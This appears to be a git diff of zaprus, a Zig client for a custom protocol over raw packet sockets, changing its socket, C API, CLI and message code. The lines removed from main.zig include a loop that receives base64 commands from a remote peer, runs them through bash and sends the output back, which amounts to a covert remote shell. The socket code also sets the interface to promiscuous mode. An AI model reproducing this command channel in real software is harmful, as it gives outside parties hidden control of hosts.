-        self.udp.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8));
-    }
-};
-
-fn onesComplement16(data: []const u8) u16 {
-    var sum: u32 = 0;
-
-    // Process pairs of bytes as 16-bit words
-    var i: usize = 0;
-    while (i + 1 < data.len) : (i += 2) {
-        const word: u16 = (@as(u16, data[i]) << 8) | data[i + 1];
-        sum += word;
-    }
-
-    // Handle odd byte if present
-    if (data.len % 2 == 1) {
-        sum += @as(u32, data[data.len - 1]) << 8;
-    }
-
-    // Fold 32-bit sum to 16 bits
-    while (sum >> 16 != 0) {
-        sum = (sum & 0xFFFF) + (sum >> 16);
-    }
-
-    // Return ones' complement
-    return ~@as(u16, @truncate(sum));
-}
-
-const std = @import("std");
-const Writer = std.Io.Writer;

src/RawSocket.zig

@@ -1,203 +0,0 @@
-// Copyright 2026 Robby Zambito
-//
-// This file is part of zaprus.
-//
-// Zaprus is free software: you can redistribute it and/or modify it under the
-// terms of the GNU General Public License as published by the Free Software
-// Foundation, either version 3 of the License, or (at your option) any later
-// version.
-//
-// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
-// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
-// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
-//
-// You should have received a copy of the GNU General Public License along with
-// Zaprus. If not, see <https://www.gnu.org/licenses/>.
-
-const RawSocket = @This();
-
-const is_debug = builtin.mode == .Debug;
-
-fd: i32,
-sockaddr_ll: std.posix.sockaddr.ll,
-mac: [6]u8,
-
-pub const max_payload_len = 1000;
-
-const Ifconf = extern struct {
-    ifc_len: i32,
-    ifc_ifcu: extern union {
-        ifcu_buf: ?[*]u8,
-        ifcu_req: ?[*]std.os.linux.ifreq,
-    },
-};
-
-pub fn init() error{
-    SocketError,
-    NicError,
-    NoInterfaceFound,
-    BindError,
-}!RawSocket {
-    const socket: i32 = std.math.cast(i32, std.os.linux.socket(std.os.linux.AF.PACKET, std.os.linux.SOCK.RAW, 0)) orelse return error.SocketError;
-    if (socket < 0) return error.SocketError;
-
-    var ifreq_storage: [16]std.os.linux.ifreq = undefined;
-    var ifc = Ifconf{
-        .ifc_len = @sizeOf(@TypeOf(ifreq_storage)),
-        .ifc_ifcu = .{ .ifcu_req = &ifreq_storage },
-    };
-
-    if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFCONF, @intFromPtr(&ifc)) != 0) {
-        return error.NicError;
-    }
-
-    const count = @divExact(ifc.ifc_len, @sizeOf(std.os.linux.ifreq));
-
-    // Get the first non loopback interface
-    var ifr = for (ifreq_storage[0..@intCast(count)]) |*ifr| {
-        if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFFLAGS, @intFromPtr(ifr)) == 0) {
-            if (ifr.ifru.flags.LOOPBACK) continue;
-            break ifr;
-        }
-    } else return error.NoInterfaceFound;
-
-    // 2. Get Interface Index
-    if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFINDEX, @intFromPtr(ifr)) != 0) {
-        return error.NicError;
-    }
-    const ifindex: i32 = ifr.ifru.ivalue;
-
-    // 3. Get Real MAC Address
-    if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFHWADDR, @intFromPtr(ifr)) != 0) {
-        return error.NicError;
-    }
-    var mac: [6]u8 = ifr.ifru.hwaddr.data[0..6].*;
-    if (builtin.cpu.arch.endian() == .little) std.mem.reverse(u8, &mac);
-
-    // 4. Set Flags (Promiscuous/Broadcast)
-    if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFFLAGS, @intFromPtr(ifr)) != 0) {
-        return error.NicError;
-    }
-    ifr.ifru.flags.BROADCAST = true;
-    ifr.ifru.flags.PROMISC = true;
-    if (std.os.linux.ioctl(socket, std.os.linux.SIOCSIFFLAGS, @intFromPtr(ifr)) != 0) {
-        return error.NicError;
-    }
-
-    const sockaddr_ll = std.mem.zeroInit(std.posix.sockaddr.ll, .{
-        .family = std.posix.AF.PACKET,
-        .ifindex = ifindex,
-        .protocol = std.mem.nativeToBig(u16, @as(u16, std.os.linux.ETH.P.IP)),
-    });
-
-    const bind_ret = std.os.linux.bind(socket, @ptrCast(&sockaddr_ll), @sizeOf(@TypeOf(sockaddr_ll)));
-    if (bind_ret != 0) return error.BindError;
-
-    return .{
-        .fd = socket,
-        .sockaddr_ll = sockaddr_ll,
-        .mac = mac,
-    };
-}
-
-pub fn setTimeout(self: *RawSocket, sec: isize, usec: i64) !void {
-    const timeout: std.os.linux.timeval = .{ .sec = sec, .usec = usec };
-    const timeout_ret = std.os.linux.setsockopt(self.fd, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout)));
-    if (timeout_ret != 0) return error.SetTimeoutError;
-}
-
-pub fn deinit(self: *RawSocket) void {
-    _ = std.os.linux.close(self.fd);
-    self.* = undefined;
-}
-
-pub fn send(self: RawSocket, payload: []const u8) !void {
-    const sent_bytes = std.os.linux.sendto(
-        self.fd,
-        payload.ptr,
-        payload.len,
-        0,
-        @ptrCast(&self.sockaddr_ll),
-        @sizeOf(@TypeOf(self.sockaddr_ll)),
-    );
-    _ = sent_bytes;
-}
-
-pub fn receive(self: RawSocket, buf: []u8) ![]u8 {
-    const len = std.os.linux.recvfrom(
-        self.fd,
-        buf.ptr,
-        buf.len,
-        0,
-        null,
-        null,
-    );
-    if (std.os.linux.errno(len) != .SUCCESS) {
-        return error.Timeout; // TODO: get the real error, assume timeout for now.
-    }
-    return buf[0..len];
-}
-
-pub fn attachSaprusPortFilter(self: RawSocket, incoming_src_port: ?u16, incoming_dest_port: u16) !void {
-    const BPF = std.os.linux.BPF;
-    // BPF instruction structure for classic BPF
-    const SockFilter = extern struct {
-        code: u16,
-        jt: u8,
-        jf: u8,
-        k: u32,
-    };
-
-    const SockFprog = extern struct {
-        len: u16,
-        filter: [*]const SockFilter,
-    };
-
-    // Build the filter program
-    const filter = if (incoming_src_port) |inc_src| &[_]SockFilter{
-        // Load 2 bytes at offset 46 (absolute)
-        .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 46 },
-        // Jump if equal to port (skip 1 if true, skip 0 if false)
-        .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 1, .jf = 0, .k = @as(u32, inc_src) },
-        // Return 0x0 (fail)
-        .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 },
-        // Load 2 bytes at offset 48 (absolute)
-        .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 48 },
-        // Jump if equal to port (skip 0 if true, skip 1 if false)
-        .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, incoming_dest_port) },
-        // Return 0xffff (pass)
-        .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff },
-        // Return 0x0 (fail)
-        .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 },
-    } else &[_]SockFilter{
-        // Load 2 bytes at offset 48 (absolute)
-        .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 48 },
-        // Jump if equal to port (skip 0 if true, skip 1 if false)
-        .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, incoming_dest_port) },
-        // Return 0xffff (pass)
-        .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff },
-        // Return 0x0 (fail)
-        .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 },
-    };
-
-    const fprog = SockFprog{
-        .len = @intCast(filter.len),
-        .filter = filter.ptr,
-    };
-
-    // Attach filter to socket using setsockopt
-    const rc = std.os.linux.setsockopt(
-        self.fd,
-        std.os.linux.SOL.SOCKET,
-        std.os.linux.SO.ATTACH_FILTER,
-        @ptrCast(&fprog),
-        @sizeOf(SockFprog),
-    );
-
-    if (rc != 0) {
-        return error.BpfAttachFailed;
-    }
-}
-
-const std = @import("std");
-const builtin = @import("builtin");

src/c_api.zig

@@ -1,104 +1,126 @@
-// Copyright 2026 Robby Zambito
-//
-// This file is part of zaprus.
-//
-// Zaprus is free software: you can redistribute it and/or modify it under the
-// terms of the GNU General Public License as published by the Free Software
-// Foundation, either version 3 of the License, or (at your option) any later
-// version.
-//
-// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
-// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
-// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
-//
-// You should have received a copy of the GNU General Public License along with
-// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+const c = @cImport({
+    @cInclude("zaprus.h");
+});
+
+fn zigToCMessage(msg: zaprus.Message) !c.SaprusMessage {
+    return switch (msg) {
+        .relay => |r| .{
+            .packet_type = @intFromEnum(msg),
+            .payload_len = @intCast(r.payload.len),
+            .headers = .{ .relay = .{
+                .dest = r.header.dest,
+            } },
+            .payload = @constCast(r.payload.ptr),
+        },
+        .connection => |con| .{
+            .packet_type = @intFromEnum(msg),
+            .payload_len = @intCast(con.payload.len),
+            .headers = .{ .connection = .{
+                .src_port = con.header.src_port,
+                .dest_port = con.header.dest_port,
+                .seq_num = con.header.seq_num,
+                .msg_id = con.header.msg_id,
+                ._reserved = con.header.reserved,
+                .options = @bitCast(con.header.options),
+            } },
+            .payload = @constCast(con.payload.ptr),
+        },
+        .file_transfer => return zaprus.Error.NotImplementedSaprusType,
+        else => return zaprus.Error.UnknownSaprusType,
+    };
+}
+
+fn cToZigMessage(msg: c.SaprusMessage) !zaprus.Message {
+    const msg_type: zaprus.PacketType = @enumFromInt(msg.packet_type);
+    return switch (msg_type) {
+        .relay => .{
+            .relay = .{
+                .header = .{
+                    .dest = msg.headers.relay.dest[0..4].*,
+                },
+                .payload = msg.payload[0..msg.payload_len],
+            },
+        },
+        .connection => .{
+            .connection = .{
+                .header = .{
+                    .src_port = msg.headers.connection.src_port,
+                    .dest_port = msg.headers.connection.dest_port,
+                    .seq_num = msg.headers.connection.seq_num,
+                    .msg_id = msg.headers.connection.msg_id,
+                    .reserved = msg.headers.connection._reserved,
+                    .options = @bitCast(msg.headers.connection.options),
+                },
+                .payload = msg.payload[0..msg.payload_len],
+            },
+        },
+        .file_transfer => return zaprus.Error.NotImplementedSaprusType,
+        else => return zaprus.Error.UnknownSaprusType,
+    };
+}
+
+// client
+export fn zaprus_init() c_int {
+    SaprusClient.init() catch return 1;
+    return 0;
+}
+
+export fn zaprus_deinit() c_int {
+    SaprusClient.deinit();
+    return 0;
+}
+
+export fn zaprus_send_relay(payload: [*]const u8, len: usize, dest: [*]u8) c_int {
+    SaprusClient.sendRelay(payload[0..len], dest[0..4].*, allocator) catch return 1;
+    return 0;
+}
+
+export fn zaprus_send_initial_connection(payload: [*]const u8, len: usize, initial_port: u16) c_int {
+    _ = SaprusClient.sendInitialConnection(payload[0..len], initial_port, allocator) catch return 1;
+    return 0;
+}
+
+export fn zaprus_connect(payload: [*]const u8, len: usize) ?*c.SaprusMessage {
+    if (SaprusClient.connect(payload[0..len], allocator)) |msg| {
+        var m = zigToCMessage(msg) catch return null;
+        return &m;
+    } else |_| {
+        return null;
+    }
+}
+
+// message
+
+/// ptr should be freed by the caller.
+export fn zaprus_message_to_bytes(msg: c.SaprusMessage, ptr: *[*]u8, len: *usize) c_int {
+    var m = cToZigMessage(msg) catch return 1;
+    const bytes = m.toBytes(allocator) catch return 1;
+    ptr.* = bytes.ptr;
+    len.* = bytes.len;
+    return 0;
+}
+
+/// Return value should be destroyed with zaprus_message_deinit.
+export fn zaprus_message_from_bytes(bytes: [*]const u8, len: usize) ?*c.SaprusMessage {
+    if (zaprus.Message.fromBytes(bytes[0..len], allocator)) |msg| {
+        var m = zigToCMessage(msg) catch return null;
+        return &m;
+    } else |_| return null;
+}
+
+export fn zaprus_message_deinit(msg: *c.SaprusMessage) void {
+    if (cToZigMessage(msg.*)) |m| {
+        m.deinit(allocator);
+    } else |_| unreachable;
+}
 
 const std = @import("std");
-const zaprus = @import("zaprus");
 
-// Opaque types for C API
-const ZaprusClient = opaque {};
-const ZaprusConnection = opaque {};
+const zaprus = @import("./root.zig");
+const SaprusClient = zaprus.Client;
 
-const alloc = std.heap.c_allocator;
-const io = std.Io.Threaded.global_single_threaded.io();
+const allocator = std.heap.c_allocator;
 
-export fn zaprus_init_client() ?*ZaprusClient {
-    const client = alloc.create(zaprus.Client) catch return null;
-    client.* = zaprus.Client.init() catch {
-        alloc.destroy(client);
-        return null;
-    };
-    return @ptrCast(client);
-}
-
-export fn zaprus_deinit_client(client: ?*ZaprusClient) void {
-    const c: ?*zaprus.Client = @ptrCast(@alignCast(client));
-    if (c) |zc| {
-        zc.deinit();
-        alloc.destroy(zc);
-    }
-}
-
-export fn zaprus_client_send_relay(
-    client: ?*ZaprusClient,
-    payload: [*c]const u8,
-    payload_len: usize,
-    dest: [*c]const u8,
-) c_int {
-    const c: ?*zaprus.Client = @ptrCast(@alignCast(client));
-    const zc = c orelse return 1;
-
-    zc.sendRelay(io, payload[0..payload_len], dest[0..4].*) catch return 1;
-    return 0;
-}
-
-export fn zaprus_connect(
-    client: ?*ZaprusClient,
-    payload: [*c]const u8,
-    payload_len: usize,
-) ?*ZaprusConnection {
-    const c: ?*zaprus.Client = @ptrCast(@alignCast(client));
-    const zc = c orelse return null;
-
-    const connection = alloc.create(zaprus.Connection) catch return null;
-    connection.* = zc.connect(io, payload[0..payload_len]) catch {
-        alloc.destroy(connection);
-        return null;
-    };
-    return @ptrCast(connection);
-}
-
-export fn zaprus_deinit_connection(connection: ?*ZaprusConnection) void {
-    const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection));
-    if (c) |zc| {
-        alloc.destroy(zc);
-    }
-}
-
-export fn zaprus_connection_next(
-    connection: ?*ZaprusConnection,
-    out: [*c]u8,
-    capacity: usize,
-    out_len: *usize,
-) c_int {
-    const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection));
-    const zc = c orelse return 1;
-
-    const result = zc.next(io, out[0..capacity]) catch return 1;
-    out_len.* = result.len;
-    return 0;
-}
-
-export fn zaprus_connection_send(
-    connection: ?*ZaprusConnection,
-    payload: [*c]const u8,
-    payload_len: usize,
-) c_int {
-    const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection));
-    const zc = c orelse return 1;
-
-    zc.send(io, .{}, payload[0..payload_len]) catch return 1;
-    return 0;
+test {
+    std.testing.refAllDeclsRecursively(@This());
 }

src/main.zig

@@ -1,279 +1,81 @@
-// Copyright 2026 Robby Zambito
-//
-// This file is part of zaprus.
-//
-// Zaprus is free software: you can redistribute it and/or modify it under the
-// terms of the GNU General Public License as published by the Free Software
-// Foundation, either version 3 of the License, or (at your option) any later
-// version.
-//
-// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
-// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
-// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
-//
-// You should have received a copy of the GNU General Public License along with
-// Zaprus. If not, see <https://www.gnu.org/licenses/>.
-
 const is_debug = builtin.mode == .Debug;
 
-const help =
+/// This creates a debug allocator that can only be referenced in debug mode.
+/// You should check for is_debug around every reference to dba.
+var dba: DebugAllocator =
+    if (is_debug)
+        DebugAllocator.init
+    else
+        @compileError("Should not use debug allocator in release mode");
+
+pub fn main() !void {
+    defer if (is_debug) {
+        _ = dba.deinit();
+    };
+
+    const gpa = if (is_debug) dba.allocator() else std.heap.smp_allocator;
+
+    // CLI parsing adapted from the example here
+    // https://github.com/Hejsil/zig-clap/blob/e47028deaefc2fb396d3d9e9f7bd776ae0b2a43a/README.md#examples
+
+    // First we specify what parameters our program can take.
+    // We can use `parseParamsComptime` to parse a string into an array of `Param(Help)`.
+    const params = comptime clap.parseParamsComptime(
         \\-h, --help           Display this help and exit.
         \\-r, --relay <str>    A relay message to send.
         \\-d, --dest <str>     An IPv4 or <= 4 ASCII byte string.
         \\-c, --connect <str>  A connection message to send.
         \\
-;
+    );
 
-const Option = enum { help, relay, dest, connect };
-const to_option: StaticStringMap(Option) = .initComptime(.{
-    .{ "-h", .help },
-    .{ "--help", .help },
-    .{ "-r", .relay },
-    .{ "--relay", .relay },
-    .{ "-d", .dest },
-    .{ "--dest", .dest },
-    .{ "-c", .connect },
-    .{ "--connect", .connect },
-});
+    // Initialize our diagnostics, which can be used for reporting useful errors.
+    // This is optional. You can also pass `.{}` to `clap.parse` if you don't
+    // care about the extra information `Diagnostics` provides.
+    var diag = clap.Diagnostic{};
+    var res = clap.parse(clap.Help, &params, clap.parsers.default, .{
+        .diagnostic = &diag,
+        .allocator = gpa,
+    }) catch |err| {
+        // Report useful error and exit.
+        diag.report(std.io.getStdErr().writer(), err) catch {};
+        return err;
+    };
+    defer res.deinit();
 
-pub fn main(init: std.process.Init) !void {
-    // CLI parsing adapted from the example here
-    // https://codeberg.org/ziglang/zig/pulls/30644
+    try SaprusClient.init();
+    defer SaprusClient.deinit();
 
-    const args = try init.minimal.args.toSlice(init.arena.allocator());
+    if (res.args.help != 0) {
+        return clap.help(std.io.getStdErr().writer(), clap.Help, &params, .{});
+    }
 
-    var flags: struct {
-        relay: ?[]const u8 = null,
-        dest: ?[]const u8 = null,
-        connect: ?[]const u8 = null,
-    } = .{};
-
-    if (args.len == 1) {
-        flags.connect = "";
-    } else {
-        var i: usize = 1;
-        while (i < args.len) : (i += 1) {
-            if (to_option.get(args[i])) |opt| {
-                switch (opt) {
-                    .help => {
-                        std.debug.print("{s}", .{help});
+    if (res.args.relay) |r| {
+        const dest = parseDest(res.args.dest) catch .{ 70, 70, 70, 70 };
+        try SaprusClient.sendRelay(
+            if (r.len > 0) r else "Hello darkness my old friend",
+            dest,
+            gpa,
+        );
+        // std.debug.print("Sent: {s}\n", .{r});
         return;
-                    },
-                    .relay => {
-                        i += 1;
-                        if (i < args.len) {
-                            flags.relay = args[i];
+    } else if (res.args.connect) |c| {
+        const conn_res: ?SaprusMessage = SaprusClient.connect(if (c.len > 0) c else "Hello darkness my old friend", gpa) catch |err| switch (err) {
+            error.WouldBlock => null,
+            else => return err,
+        };
+        defer if (conn_res) |r| r.deinit(gpa);
+        if (conn_res) |r| {
+            std.debug.print("{s}\n", .{r.connection.payload});
         } else {
-                            flags.relay = "";
-                        }
-                    },
-                    .dest => {
-                        i += 1;
-                        if (i < args.len) {
-                            flags.dest = args[i];
-                        } else {
-                            std.debug.print("-d/--dest requires a string\n", .{});
-                            return error.InvalidArguments;
-                        }
-                    },
-                    .connect => {
-                        i += 1;
-                        if (i < args.len) {
-                            flags.connect = args[i];
-                        } else {
-                            flags.connect = "";
-                        }
-                    },
-                }
-            } else {
-                std.debug.print("Unknown argument: {s}\n", .{args[i]});
-                return error.InvalidArguments;
-            }
-        }
-    }
-
-    if (flags.connect != null and (flags.relay != null or flags.dest != null)) {
-        std.debug.print("Incompatible arguments.\nCannot use --connect/-c with dest or relay.\n", .{});
-        return error.InvalidArguments;
-    }
-
-    var client: SaprusClient = undefined;
-
-    if (flags.relay != null) {
-        client = try .init();
-        defer client.deinit();
-        var chunk_writer_buf: [2048]u8 = undefined;
-        var chunk_writer: Writer = .fixed(&chunk_writer_buf);
-        if (flags.relay.?.len > 0) {
-            var output_iter = std.mem.window(u8, flags.relay.?, SaprusClient.max_payload_len, SaprusClient.max_payload_len);
-            while (output_iter.next()) |chunk| {
-                chunk_writer.end = 0;
-                try chunk_writer.print("{b64}", .{chunk});
-                try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
-                try init.io.sleep(.fromMilliseconds(40), .boot);
-            }
-        } else {
-            var stdin_file: std.Io.File = .stdin();
-            var stdin_file_reader = stdin_file.reader(init.io, &.{});
-            var stdin_reader = &stdin_file_reader.interface;
-            var lim_buf: [SaprusClient.max_payload_len]u8 = undefined;
-            var limited = stdin_reader.limited(.limited(10 * lim_buf.len), &lim_buf);
-            var stdin = &limited.interface;
-
-            while (stdin.fillMore()) {
-                // Sometimes fillMore will return 0 bytes.
-                // Skip these
-                if (stdin.seek == stdin.end) continue;
-
-                chunk_writer.end = 0;
-                try chunk_writer.print("{b64}", .{stdin.buffered()});
-                try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest));
-                try init.io.sleep(.fromMilliseconds(40), .boot);
-                try stdin.discardAll(stdin.end);
-            } else |err| switch (err) {
-                error.EndOfStream => {
-                    log.debug("end of stdin", .{});
-                },
-                else => |e| return e,
-            }
+            std.debug.print("No response from connection request\n", .{});
         }
         return;
     }
 
-    var init_con_buf: [SaprusClient.max_payload_len]u8 = undefined;
-    var w: Writer = .fixed(&init_con_buf);
-    try w.print("{b64}", .{flags.connect.?});
-
-    if (flags.connect != null) {
-        reconnect: while (true) {
-            client = try .init();
-            defer client.deinit();
-            log.debug("Starting connection", .{});
-
-            try client.socket.setTimeout(if (is_debug) 3 else 25, 0);
-            var connection = client.connect(init.io, w.buffered()) catch {
-                log.debug("Connection timed out", .{});
-                continue;
-            };
-
-            log.debug("Connection started", .{});
-
-            next_message: while (true) {
-                var res_buf: [2048]u8 = undefined;
-                try client.socket.setTimeout(if (is_debug) 60 else 600, 0);
-                const next = connection.next(init.io, &res_buf) catch {
-                    continue :reconnect;
-                };
-
-                const b64d = std.base64.standard.Decoder;
-                var connection_payload_buf: [2048]u8 = undefined;
-                const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)];
-                b64d.decode(connection_payload, next) catch {
-                    log.debug("Failed to decode message, skipping: '{s}'", .{connection_payload});
-                    continue;
-                };
-
-                var child = std.process.spawn(init.io, .{
-                    .argv = &.{ "bash", "-c", connection_payload },
-                    .stdout = .pipe,
-                    .stderr = .ignore,
-                    .stdin = .ignore,
-                }) catch |err| switch (err) {
-                    error.AccessDenied,
-                    error.FileBusy,
-                    error.FileNotFound,
-                    error.FileSystem,
-                    error.InvalidExe,
-                    error.IsDir,
-                    error.NotDir,
-                    error.OutOfMemory,
-                    error.PermissionDenied,
-                    error.SymLinkLoop,
-                    error.SystemResources,
-                    => blk: {
-                        log.debug("Trying to execute command directly: {s}", .{connection_payload});
-                        var argv_buf: [128][]const u8 = undefined;
-                        var argv: ArrayList([]const u8) = .initBuffer(&argv_buf);
-                        var payload_iter = std.mem.splitAny(u8, connection_payload, " \t\n");
-                        while (payload_iter.next()) |arg| argv.appendBounded(arg) catch continue;
-                        break :blk std.process.spawn(init.io, .{
-                            .argv = argv.items,
-                            .stdout = .pipe,
-                            .stderr = .ignore,
-                            .stdin = .ignore,
-                        }) catch continue;
-                    },
-                    error.Canceled,
-                    error.NoDevice,
-                    error.OperationUnsupported,
-                    => |e| return e,
-                    else => continue,
-                };
-
-                var child_output_buf: [SaprusClient.max_payload_len]u8 = undefined;
-                var child_output_reader = child.stdout.?.reader(init.io, &child_output_buf);
-
-                var is_killed: std.atomic.Value(bool) = .init(false);
-
-                var kill_task = try init.io.concurrent(killProcessAfter, .{ init.io, &child, .fromSeconds(3), &is_killed });
-                defer _ = kill_task.cancel(init.io) catch {};
-
-                var cmd_output_buf: [SaprusClient.max_payload_len * 2]u8 = undefined;
-                var cmd_output: Writer = .fixed(&cmd_output_buf);
-
-                // Maximum of 10 messages of output per command
-                for (0..10) |_| {
-                    cmd_output.end = 0;
-
-                    child_output_reader.interface.fill(child_output_reader.interface.buffer.len) catch |err| switch (err) {
-                        error.ReadFailed => continue :next_message, // TODO: check if there is a better way to handle this
-                        error.EndOfStream => {
-                            cmd_output.print("{b64}", .{child_output_reader.interface.buffered()}) catch unreachable;
-                            if (cmd_output.end > 0) {
-                                connection.send(init.io, .{}, cmd_output.buffered()) catch |e| {
-                                    log.debug("Failed to send connection chunk: {t}", .{e});
-                                    continue :next_message;
-                                };
-                            }
-                            break;
-                        },
-                    };
-                    cmd_output.print("{b64}", .{try child_output_reader.interface.takeArray(child_output_buf.len)}) catch unreachable;
-                    connection.send(init.io, .{}, cmd_output.buffered()) catch |err| {
-                        log.debug("Failed to send connection chunk: {t}", .{err});
-                        continue :next_message;
-                    };
-                    try init.io.sleep(.fromMilliseconds(40), .boot);
-                } else {
-                    kill_task.cancel(init.io) catch {};
-                    killProcessAfter(init.io, &child, .zero, &is_killed) catch |err| {
-                        log.debug("Failed to kill process??? {t}", .{err});
-                        continue :next_message;
-                    };
-                }
-
-                if (!is_killed.load(.monotonic)) {
-                    _ = child.wait(init.io) catch |err| {
-                        log.debug("Failed to wait for child: {t}", .{err});
-                    };
-                }
-            }
-        }
-    }
-
-    unreachable;
+    return clap.help(std.io.getStdErr().writer(), clap.Help, &params, .{});
 }
 
-fn killProcessAfter(io: std.Io, proc: *std.process.Child, duration: std.Io.Duration, is_killed: *std.atomic.Value(bool)) !void {
-    io.sleep(duration, .boot) catch |err| switch (err) {
-        error.Canceled => return,
-        else => |e| return e,
-    };
-    is_killed.store(true, .monotonic);
-    proc.kill(io);
-}
-
-fn parseDest(in: ?[]const u8) [4]u8 {
+fn parseDest(in: ?[]const u8) ![4]u8 {
     if (in) |dest| {
         if (dest.len <= 4) {
             var res: [4]u8 = @splat(0);
@@ -281,20 +83,19 @@ fn parseDest(in: ?[]const u8) [4]u8 {
             return res;
         }
 
-        const addr = std.Io.net.Ip4Address.parse(dest, 0) catch return "FAIL".*;
-        return addr.bytes;
+        const addr = try std.net.Ip4Address.parse(dest, 0);
+        return @bitCast(addr.sa.addr);
     }
-    return "disc".*;
+    return "FAIL".*;
 }
 
 const builtin = @import("builtin");
 const std = @import("std");
-const log = std.log;
+const DebugAllocator = std.heap.DebugAllocator(.{});
 const ArrayList = std.ArrayList;
-const StaticStringMap = std.StaticStringMap;
 
 const zaprus = @import("zaprus");
 const SaprusClient = zaprus.Client;
 const SaprusMessage = zaprus.Message;
 
-const Writer = std.Io.Writer;
+const clap = @import("clap");

src/message.zig

@@ -1,85 +1,18 @@
-// Copyright 2026 Robby Zambito
-//
-// This file is part of zaprus.
-//
-// Zaprus is free software: you can redistribute it and/or modify it under the
-// terms of the GNU General Public License as published by the Free Software
-// Foundation, either version 3 of the License, or (at your option) any later
-// version.
-//
-// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY
-// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
-// A PARTICULAR PURPOSE. See the GNU General Public License for more details.
-//
-// You should have received a copy of the GNU General Public License along with
-// Zaprus. If not, see <https://www.gnu.org/licenses/>.
+const base64Enc = std.base64.Base64Encoder.init(std.base64.standard_alphabet_chars, '=');
+const base64Dec = std.base64.Base64Decoder.init(std.base64.standard_alphabet_chars, '=');
 
-pub const Message = union(enum(u16)) {
-    relay: Message.Relay = 0x003C,
-    connection: Message.Connection = 0x00E9,
+/// Type tag for Message union.
+/// This is the first value in the actual packet sent over the network.
+pub const PacketType = enum(u16) {
+    relay = 0x003C,
+    file_transfer = 0x8888,
+    connection = 0x00E9,
     _,
+};
 
-    pub const Relay = struct {
-        dest: Dest,
-        checksum: [2]u8 = undefined,
-        payload: []const u8,
-
-        pub const Dest = struct {
-            bytes: [relay_dest_len]u8,
-
-            /// Asserts bytes is less than or equal to 4 bytes
-            pub fn fromBytes(bytes: []const u8) Dest {
-                var buf: [4]u8 = @splat(0);
-                std.debug.assert(bytes.len <= buf.len);
-                @memcpy(buf[0..bytes.len], bytes);
-                return .{ .bytes = buf };
-            }
-        };
-
-        /// Asserts that buf is large enough to fit the relay message.
-        pub fn toBytes(self: Relay, buf: []u8) []u8 {
-            var out: Writer = .fixed(buf);
-            out.writeInt(u16, @intFromEnum(Message.relay), .big) catch unreachable;
-            out.writeInt(u16, @intCast(self.payload.len + 4), .big) catch unreachable; // Length field, but unread. Will switch to checksum
-            out.writeAll(&self.dest.bytes) catch unreachable;
-            out.writeAll(self.payload) catch unreachable;
-            return out.buffered();
-        }
-
-        // test toBytes {
-        //     var buf: [1024]u8 = undefined;
-        //     const relay: Relay = .init(
-        //         .fromBytes(&.{ 172, 18, 1, 30 }),
-        //         // zig fmt: off
-        //     &[_]u8{
-        //         0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65,
-        //         0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64
-        //     },
-        //     // zig fmt: on
-        //     );
-        //     // zig fmt: off
-        // var expected = [_]u8{
-        //     0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72,
-        //     0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65,
-        //     0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64
-        // };
-        // // zig fmt: on
-        //     try expectEqualMessageBuffers(&expected, relay.toBytes(&buf));
-        // }
-    };
-
-    pub const Connection = struct {
-        src: u16,
-        dest: u16,
-        seq: u32,
-        id: u32,
-        reserved: u8 = undefined,
-        options: Options = .{},
-        payload: []const u8,
-
-        /// Option values.
-        /// Currently used!
-        pub const Options = packed struct(u8) {
+/// Reserved option values.
+/// Currently unused.
+pub const ConnectionOptions = packed struct(u8) {
     opt1: bool = false,
     opt2: bool = false,
     opt3: bool = false,
@@ -87,152 +20,192 @@ pub const Message = union(enum(u16)) {
     opt5: bool = false,
     opt6: bool = false,
     opt7: bool = false,
-            management: bool = false,
-        };
-
-        /// Asserts that buf is large enough to fit the connection message.
-        pub fn toBytes(self: Connection, buf: []u8) []u8 {
-            var out: Writer = .fixed(buf);
-            out.writeInt(u16, @intFromEnum(Message.connection), .big) catch unreachable;
-            out.writeInt(u16, @intCast(self.payload.len + 14), .big) catch unreachable; // Saprus length field, unread.
